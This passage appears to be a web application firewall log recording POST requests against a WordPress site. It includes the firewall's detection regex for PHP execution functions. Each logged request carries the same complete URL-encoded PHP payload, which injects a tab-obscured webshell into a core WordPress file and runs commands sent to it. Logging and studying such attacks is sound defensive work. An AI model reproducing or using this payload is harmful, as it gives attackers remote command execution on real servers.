itm8%2520.%2520%2524itm9%2520.%2520%2524itm1%2520.%2520%2527468%2527%2520.%2520%2527727%2527%2529%253B%2524publish_content5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524itm10%2520.%2520%2527656%2527%2529%253B%2524publish_content6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524itm11%2520.%2520%2524itm12%2520.%2520%2524itm13%2520.%2520%2524itm14%2520.%2520%2527765%2527%2520.%2520%2527745%2527%2520.%2520%2527f63%2527%2520.%2520%2524itm15%2520.%2520%2524itm16%2520.%2520%2527656%2527%2520.%2520%2524itm16%2529%253B%2524publish_content7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm8%2520.%2520%2524itm17%2520.%2520%2524itm18%2520.%2520%2524itm19%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm7%2520.%2520%2527665%2527%2520.%2520%2524itm20%2520.%2520%252745f%2527%2520.%2520%2527646%2527%2520.%2520%2527973%2527%2520.%2520%2527706%2527%2520.%2520%2524itm21%2520.%2520%2527636%2527%2520.%2520%2524itm4%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524publish_content1%2529%2529%257B%2524publish_content1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content2%2529%2529%257Bprint%2520%2524publish_content2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content3%2529%2529%257B%2524publish_content3%2528%2524event_dispatcher%252C%2524binding_obj%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524binding_obj%2529%253B%257Delseif%2528function_exists%2528%2524publish_content4%2529%2529%257B%2524publish_content4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content5%2529%2526%2526function_exists%2528%2524publish_content6%2529%2526%2526function_exists%2528%2524publish_content7%2529%2529%257B%2524pset_holder%253D%2524publish_content5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524pset_holder%2529%257B%2524hld_object%253D%2524publish_content6%2528%2524pset_holder%2529%253B%2524publish_content7%2528%2524pset_holder%2529%253Bprint%2520%2524hld_object%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI1ZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:6732\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nWS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527737%2527%253B%2524itm2%2520%253D%2520%2527973%2527%253B%2524itm3%2520%253D%2520%2527746%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%25276c6%2527%253B%2524itm6%2520%253D%2520%2527c5f%2527%253B%2524itm7%2520%253D%2520%2527657%2527%253B%2524itm8%2520%253D%2520%2527706%2527%253B%2524itm9%2520%253D%2520%2527173%2527%253B%2524itm10%2520%253D%2520%2527f70%2527%253B%2524itm11%2520%253D%2520%2527472%2527%253B%2524itm12%2520%253D%2520%2527656%2527%253B%2524itm13%2520%253D%2520%252716d%2527%253B%2524itm14%2520%253D%2520%25275f6%2527%253B%2524itm15%2520%253D%2520%25276f6%2527%253B%2524itm16%2520%253D%2520%2527e74%2527%253B%2524itm17%2520%253D%2520%252736c%2527%253B%2524itm18%2520%253D%2520%25276f7%2527%253B%2524itm19%2520%253D%2520%2527365%2527%253B%2524itm20%2520%253D%2520%25276e7%2527%253B%2524itm21%2520%253D%2520%2527174%2527%253B%2524publish_content1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm1%2520.%2520%2524itm2%2520.%2520%2524itm3%2520.%2520%252756d%2527%2529%253B%2524publish_content2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524itm4%2520.%2520%2524itm5%2520.%2520%2524itm6%2520.%2520%2524itm7%2520.%2520%2524itm4%2529%253B%2524publish_content3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524itm4%2529%253B%2524publish_content4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm8%2520.%2520%2524itm9%2520.%2520%2524itm1%2520.%2520%2527468%2527%2520.%2520%2527727%2527%2529%253B%2524publish_content5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524itm10%2520.%2520%2527656%2527%2529%253B%2524publish_content6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524itm11%2520.%2520%2524itm12%2520.%2520%2524itm13%2520.%2520%2524itm14%2520.%2520%2527765%2527%2520.%2520%2527745%2527%2520.%2520%2527f63%2527%2520.%2520%2524itm15%2520.%2520%2524itm16%2520.%2520%2527656%2527%2520.%2520%2524itm16%2529%253B%2524publish_content7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm8%2520.%2520%2524itm17%2520.%2520%2524itm18%2520.%2520%2524itm19%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm7%2520.%2520%2527665%2527%2520.%2520%2524itm20%2520.%2520%252745f%2527%2520.%2520%2527646%2527%2520.%2520%2527973%2527%2520.%2520%2527706%2527%2520.%2520%2524itm21%2520.%2520%2527636%2527%2520.%2520%2524itm4%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524publish_content1%2529%2529%257B%2524publish_content1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content2%2529%2529%257Bprint%2520%2524publish_content2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content3%2529%2529%257B%2524publish_content3%2528%2524event_dispatcher%252C%2524binding_obj%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524binding_obj%2529%253B%257Delseif%2528function_exists%2528%2524publish_content4%2529%2529%257B%2524publish_content4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content5%2529%2526%2526function_exists%2528%2524publish_content6%2529%2526%2526function_exists%2528%2524publish_content7%2529%2529%257B%2524pset_holder%253D%2524publish_content5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524pset_holder%2529%257B%2524hld_object%253D%2524publish_content6%2528%2524pset_holder%2529%253B%2524publish_content7%2528%2524pset_holder%2529%253Bprint%2520%2524hld_object%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:49:54","144.76.215.54","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Cm:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527737%2527%253B%2524itm2%2520%253D%2520%2527973%2527%253B%2524itm3%2520%253D%2520%2527746%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%25276c6%2527%253B%2524itm6%2520%253D%2520%2527c5f%2527%253B%2524itm7%2520%253D%2520%2527657%2527%253B%2524itm8%2520%253D%2520%2527706%2527%253B%2524itm9%2520%253D%2520%2527173%2527%253B%2524itm10%2520%253D%2520%2527f70%2527%253B%2524itm11%2520%253D%2520%2527472%2527%253B%2524itm12%2520%253D%2520%2527656%2527%253B%2524itm13%2520%253D%2520%252716d%2527%253B%2524itm14%2520%253D%2520%25275f6%2527%253B%2524itm15%2520%253D%2520%25276f6%2527%253B%2524itm16%2520%253D%2520%2527e74%2527%253B%2524itm17%2520%253D%2520%252736c%2527%253B%2524itm18%2520%253D%2520%25276f7%2527%253B%2524itm19%2520%253D%2520%2527365%2527%253B%2524itm20%2520%253D%2520%25276e7%2527%253B%2524itm21%2520%253D%2520%2527174%2527%253B%2524publish_content1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm1%2520.%2520%2524itm2%2520.%2520%2524itm3%2520.%2520%252756d%2527%2529%253B%2524publish_content2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524itm4%2520.%2520%2524itm5%2520.%2520%2524itm6%2520.%2520%2524itm7%2520.%2520%2524itm4%2529%253B%2524publish_content3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524itm4%2529%253B%2524publish_content4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm8%2520.%2520%2524itm9%2520.%2520%2524itm1%2520.%2520%2527468%2527%2520.%2520%2527727%2527%2529%253B%2524publish_content5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524itm10%2520.%2520%2527656%2527%2529%253B%2524publish_content6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524itm11%2520.%2520%2524itm12%2520.%2520%2524itm13%2520.%2520%2524itm14%2520.%2520%2527765%2527%2520.%2520%2527745%2527%2520.%2520%2527f63%2527%2520.%2520%2524itm15%2520.%2520%2524itm16%2520.%2520%2527656%2527%2520.%2520%2524itm16%2529%253B%2524publish_content7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm8%2520.%2520%2524itm17%2520.%2520%2524itm18%2520.%2520%2524itm19%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm7%2520.%2520%2527665%2527%2520.%2520%2524itm20%2520.%2520%252745f%2527%2520.%2520%2527646%2527%2520.%2520%2527973%2527%2520.%2520%2527706%2527%2520.%2520%2524itm21%2520.%2520%2527636%2527%2520.%2520%2524itm4%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524publish_content1%2529%2529%257B%2524publish_content1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content2%2529%2529%257Bprint%2520%2524publish_content2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content3%2529%2529%257B%2524publish_content3%2528%2524event_dispatcher%252C%2524binding_obj%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524binding_obj%2529%253B%257Delseif%2528function_exists%2528%2524publish_content4%2529%2529%257B%2524publish_content4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content5%2529%2526%2526function_exists%2528%2524publish_content6%2529%2526%2526function_exists%2528%2524publish_content7%2529%2529%257B%2524pset_holder%253D%2524publish_content5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524pset_holder%2529%257B%2524hld_object%253D%2524publish_content6%2528%2524pset_holder%2529%253B%2524publish_content7%2528%2524pset_holder%2529%253Bprint%2520%2524hld_object%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD20vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6732\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nCm=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527737%2527%253B%2524itm2%2520%253D%2520%2527973%2527%253B%2524itm3%2520%253D%2520%2527746%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%25276c6%2527%253B%2524itm6%2520%253D%2520%2527c5f%2527%253B%2524itm7%2520%253D%2520%2527657%2527%253B%2524itm8%2520%253D%2520%2527706%2527%253B%2524itm9%2520%253D%2520%2527173%2527%253B%2524itm10%2520%253D%2520%2527f70%2527%253B%2524itm11%2520%253D%2520%2527472%2527%253B%2524itm12%2520%253D%2520%2527656%2527%253B%2524itm13%2520%253D%2520%252716d%2527%253B%2524itm14%2520%253D%2520%25275f6%2527%253B%2524itm15%2520%253D%2520%25276f6%2527%253B%2524itm16%2520%253D%2520%2527e74%2527%253B%2524itm17%2520%253D%2520%252736c%2527%253B%2524itm18%2520%253D%2520%25276f7%2527%253B%2524itm19%2520%253D%2520%2527365%2527%253B%2524itm20%2520%253D%2520%25276e7%2527%253B%2524itm21%2520%253D%2520%2527174%2527%253B%2524publish_content1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm1%2520.%2520%2524itm2%2520.%2520%2524itm3%2520.%2520%252756d%2527%2529%253B%2524publish_content2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524itm4%2520.%2520%2524itm5%2520.%2520%2524itm6%2520.%2520%2524itm7%2520.%2520%2524itm4%2529%253B%2524publish_content3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524itm4%2529%253B%2524publish_content4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm8%2520.%2520%2524itm9%2520.%2520%2524itm1%2520.%2520%2527468%2527%2520.%2520%2527727%2527%2529%253B%2524publish_content5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524itm10%2520.%2520%2527656%2527%2529%253B%2524publish_content6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524itm11%2520.%2520%2524itm12%2520.%2520%2524itm13%2520.%2520%2524itm14%2520.%2520%2527765%2527%2520.%2520%2527745%2527%2520.%2520%2527f63%2527%2520.%2520%2524itm15%2520.%2520%2524itm16%2520.%2520%2527656%2527%2520.%2520%2524itm16%2529%253B%2524publish_content7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm8%2520.%2520%2524itm17%2520.%2520%2524itm18%2520.%2520%2524itm19%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm7%2520.%2520%2527665%2527%2520.%2520%2524itm20%2520.%2520%252745f%2527%2520.%2520%2527646%2527%2520.%2520%2527973%2527%2520.%2520%2527706%2527%2520.%2520%2524itm21%2520.%2520%2527636%2527%2520.%2520%2524itm4%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524publish_content1%2529%2529%257B%2524publish_content1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content2%2529%2529%257Bprint%2520%2524publish_content2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content3%2529%2529%257B%2524publish_content3%2528%2524event_dispatcher%252C%2524binding_obj%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524binding_obj%2529%253B%257Delseif%2528function_exists%2528%2524publish_content4%2529%2529%257B%2524publish_content4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content5%2529%2526%2526function_exists%2528%2524publish_content6%2529%2526%2526function_exists%2528%2524publish_content7%2529%2529%257B%2524pset_holder%253D%2524publish_content5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524pset_holder%2529%257B%2524hld_object%253D%2524publish_content6%2528%2524pset_holder%2529%253B%2524publish_content7%2528%2524pset_holder%2529%253Bprint%2520%2524hld_object%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:49:56","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527737%2527%253B%2524itm2%2520%253D%2520%2527973%2527%253B%2524itm3%2520%253D%2520%2527746%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%25276c6%2527%253B%2524itm6%2520%253D%2520%2527c5f%2527%253B%2524itm7%2520%253D%2520%2527657%2527%253B%2524itm8%2520%253D%2520%2527706%2527%253B%2524itm9%2520%253D%2520%2527173%2527%253B%2524itm10%2520%253D%2520%2527f70%2527%253B%2524itm11%2520%253D%2520%2527472%2527%253B%2524itm12%2520%253D%2520%2527656%2527%253B%2524itm13%2520%253D%2520%252716d%2527%253B%2524itm14%2520%253D%2520%25275f6%2527%253B%2524itm15%2520%253D%2520%25276f6%2527%253B%2524itm16%2520%253D%2520%2527e74%2527%253B%2524itm17%2520%253D%2520%252736c%2527%253B%2524itm18%2520%253D%2520%25276f7%2527%253B%2524itm19%2520%253D%2520%2527365%2527%253B%2524itm20%2520%253D%2520%25276e7%2527%253B%2524itm21%2520%253D%2520%2527174%2527%253B%2524publish_content1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm1%2520.%2520%2524itm2%2520.%2520%2524itm3%2520.%2520%252756d%2527%2529%253B%2524publish_content2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524itm4%2520.%2520%2524itm5%2520.%2520%2524itm6%2520.%2520%2524itm7%2520.%2520%2524itm4%2529%253B%2524publish_content3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524itm4%2529%253B%2524publish_content4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm8%2520.%2520%2524itm9%2520.%2520%2524itm1%2520.%2520%2527468%2527%2520.%2520%2527727%2527%2529%253B%2524publish_content5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524itm10%2520.%2520%2527656%2527%2529%253B%2524publish_content6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524itm11%2520.%2520%2524itm12%2520.%2520%2524itm13%2520.%2520%2524itm14%2520.%2520%2527765%2527%2520.%2520%2527745%2527%2520.%2520%2527f63%2527%2520.%2520%2524itm15%2520.%2520%2524itm16%2520.%2520%2527656%2527%2520.%2520%2524itm16%2529%253B%2524publish_content7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm8%2520.%2520%2524itm17%2520.%2520%2524itm18%2520.%2520%2524itm19%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm7%2520.%2520%2527665%2527%2520.%2520%2524itm20%2520.%2520%252745f%2527%2520.%2520%2527646%2527%2520.%2520%2527973%2527%2520.%2520%2527706%2527%2520.%2520%2524itm21%2520.%2520%2527636%2527%2520.%2520%2524itm4%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524publish_content1%2529%2529%257B%2524publish_content1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content2%2529%2529%257Bprint%2520%2524publish_content2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content3%2529%2529%257B%2524publish_content3%2528%2524event_dispatcher%252C%2524binding_obj%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524binding_obj%2529%253B%257Delseif%2528function_exists%2528%2524publish_content4%2529%2529%257B%2524publish_content4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content5%2529%2526%2526function_exists%2528%2524publish_content6%2529%2526%2526function_exists%2528%2524publish_content7%2529%2529%257B%2524pset_holder%253D%2524publish_content5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524pset_holder%2529%257B%2524hld_object%253D%2524publish_content6%2528%2524pset_holder%2529%253B%2524publish_content7%2528%2524pset_holder%2529%253Bprint%2520%2524hld_object%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%